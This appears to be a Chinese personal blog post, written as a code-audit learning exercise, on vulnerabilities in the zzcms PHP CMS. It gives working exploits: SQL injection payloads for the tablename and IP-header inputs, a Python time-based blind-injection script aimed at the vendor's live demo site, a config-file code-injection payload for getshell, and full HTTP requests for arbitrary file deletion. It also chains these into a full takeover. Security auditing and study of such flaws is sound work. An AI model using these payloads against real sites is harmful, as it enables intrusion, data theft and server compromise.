还是太菜了,搭好的CMS注册用户时显示不出验证码,以至于无法注册,只复现出配置文件写入的问题.

就以此篇慢慢入手代码审计吧.

前端SQL注入

个人理解:分析是否存在注入,先从输入点找起,再寻找是否有对数据清洗的函数,再判断数据流向

tablename注入点

问题文件:user/del.php

从此处用post方法接受pagename,tablename,id三个参数.

1
2
3
4
5
6
7
8
9
10
$pagename=trim($_POST["pagename"]);
$tablename=trim($_POST["tablename"]);
$id="";
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
checkid($_POST['id'][$i]);
$id=$id.($_POST['id'][$i].',');
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","
}

发现有个checkid()函数

1
2
3
4
5
6
7
8
9
function checkid($id,$classid=0,$msg=''){
if ($id<>''){
if (is_numeric($id)==false){showmsg('参数 '.$id.' 有误!相关信息不存在');}
elseif ($id>100000000){showmsg('参数超出了数字表示范围!系统不与处理。');}//因为clng最大长度为9位
if ($classid==0){//查大小类ID时这里设为1
if ($id<1){showmsg('参数有误!相关信息不存在。\r\r提示:'.$msg);}//翻页中有用,这个提示msg在其它地方有用
}
}
}

id只能为数字,并且限制了数字的范围.因此id难以利用

那继续看看pagename,tablename

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
代码27行开始,判断tablename的情况,
switch ($tablename){
case "zzcms_main";
if (strpos($id,",")>0){
$sql="select img,flv,editor from zzcms_main where id in (".$id.")";
}else{
$sql="select img,flv,editor from zzcms_main where id ='$id'";
}
$rs=query($sql);
$row=num_rows($rs);
代码92行有传入tablename进行数据库操作
if ($tablename=='zzcms_guestbook'){//saver
if (strpos($id,",")>0){
$sql="select id,saver from ".$tablename." where id in (".$id.")";
}else{
$sql="select id,saver from ".$tablename." where id ='$id'";
}
$rs=query($sql);
$row=num_rows($rs);
if ($row){
while ($row=fetch_array($rs)){
if ($row["saver"]<>$username){
markit();

showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
}
query("delete from ".$tablename." where id =".$row['id']."");
}

echo "<script>location.href='".$pagename."';</script>";
}
}

但是表名被固定zzcms_guestbook,继续往下看
代码135行,最后一个else 发现传入的tablename可控,且并没有对数据清洗,因此这里存在sql注入.

1
2
3
4
5
6
7
8
else{
if (strpos($id,",")>0){
$sql="select id,editor from ".$tablename." where id in (". $id .")";
}else{
$sql="select id,editor from ".$tablename." where id ='$id'";
}
$rs=query($sql);
$row=num_rows($rs);

其实该CMS有对sql作出防御因为注入的位置是表名,因此可以不需要引入符号进行闭合,所以就可以无视/inc/stopsqlin.php文件中的安全处理规则,所以此处可以直接进行SQL注入。
Payload

1
id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#

由于环境问题,没法复现,图片是偷的
Stopsqlin.php的过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}

if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
//特别的表单,需要特别提示的

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
for payload in payloads: #遍历取出字符
startTime = time.time()
post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"} )
if time.time() - startTime > 5:
user = payload
print 'user is:', user
break
print '\n[Done] current user is %s' % user

ip注入点

问题文件 /user/logincheck.php

ip利用自定义的getip()函数获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
include '../3/ucenter_api/config.inc.php';//集成ucenter
include '../3/ucenter_api/uc_client/client.php';//集成ucenter
$ip=getip();
define('trytimes',5);//可尝试登录次数
define('jgsj',10*60);//间隔时间,秒
$sql="select * from zzcms_login_times where ip='$ip' and count>=".trytimes." and unix_timestamp()-unix_timestamp(sendtime)<".jgsj." ";
$rs = query($sql);
$row= num_rows($rs);
if ($row){
$jgsj=jgsj/60;
showmsg("密码错误次数过多,请于".$jgsj."分钟后再试!");
}
checkyzm($_POST["yzm"]);
$go=0;
$username=nostr(trim($_POST["username"]));
$password=md5(trim($_POST["password"]));
$fromurl=@$_POST["fromurl"];
$CookieDate=@$_POST["CookieDate"][0];
if ($CookieDate=="") {
$CookieDate=0;
}_

跟进getip()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function getip(){ 
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}

没有对ip进行数据清洗,因此此处存在注入,可利用时间盲注获取数据

payload

1
127.0.0.1’ and if(length(database())>1,sleep(4),0) %23

配置文件写入问题

install/step4.php 仅对传入的当前网站访问地址做是否为空判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
if (document.myform.db_host.value==''){
alert('请填写数据库服务器');
document.myform.db_host.focus();
return false;
}
if (document.myform.db_user.value==''){
alert('请填写数据库用户名');
document.myform.db_user.focus();
return false;
}
if (document.myform.db_name.value==''){
alert('请填写数据库名');
document.myform.db_name.focus();
return false;
}
if(document.myform.db_name.value.search(re)==-1)
{
alert("数据库名只能用字母或数字!");
document.myform.db_name.focus();
return false;
}
if (document.myform.url.value==''){
alert('请填写当前网站访问地址');
document.myform.url.focus();
return false;
}
if (document.myform.admin.value==''){
alert('请填写管理员帐号');
document.myform.admin.focus();
return false;
}
if (document.myform.adminpwd.value==''){
alert('请填写管理员帐号');
document.myform.adminpwd.focus();
return false;
}
if (document.myform.adminpwd.value!=document.myform.adminpwd2.value){
alert ("两次密码输入不一致,请重新输入。");
document.myform.adminpwd.value='';
document.myform.adminpwd2.value='';
document.myform.adminpwd.focus();
return false;
}

install/index.php 保存配置文件.未对传入数据进行清洗

1
2
3
4
5
6
7
8
9
10
11
12
13
//保存配置文件
$fp="../inc/config.php";
$f = fopen($fp,'r');
$str = fread($f,filesize($fp));
fclose($f);
$str=str_replace("define('sqlhost','".sqlhost."')","define('sqlhost','$db_host')",$str) ;
$str=str_replace("define('sqlport','".sqlport."')","define('sqlport','$db_port')",$str) ;
$str=str_replace("define('sqldb','".sqldb."')","define('sqldb','$db_name')",$str) ;
$str=str_replace("define('sqluser','".sqluser."')","define('sqluser','$db_user')",$str) ;
$str=str_replace("define('sqlpwd','".sqlpwd."')","define('sqlpwd','$db_pass')",$str) ;
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','$url')",$str) ;
$str=str_replace("define('logourl','".logourl."')","define('logourl','$url/image/logo.png')",$str) ;
$f=fopen($fp,"w+");//fopen()的其它开关请参看相关函数

于是在构造payload填入当前网站访问地址
localhost’);phpinfo();#
语句闭合为

1
$str=str_replace("define('siteurl','".siteurl."')","define('siteurl','localhost’);phpinfo();#')",$str) ;

达到代码注入的目的,从而getshell.但是这个漏洞需要配合任意文件删除,删除install/install.lock文件,进行重装,否则这个漏洞无法利用
这个漏洞复现成功了.(可能真的是我丑,只复现出一个)

任意文件删除

这个点由于没有复现成功不是很理解,记录姿势以后再看看吧.

情况一:在action=add的情况下进行任意文件删除

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

情况二:在action=modify的情况下进行任意文件删除

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

配合上sql注入进入后台,利用任意文件删除使cms重装,在配置文件上注入一句话,就可以getshell

参考链接

http://www.freebuf.com/column/166525.html

http://www.freebuf.com/column/165934.html

http://www.freebuf.com/column/166525.html

https://blog.csdn.net/CSDNPM250/article/details/81414162
http://www.freebuf.com/vuls/161888.html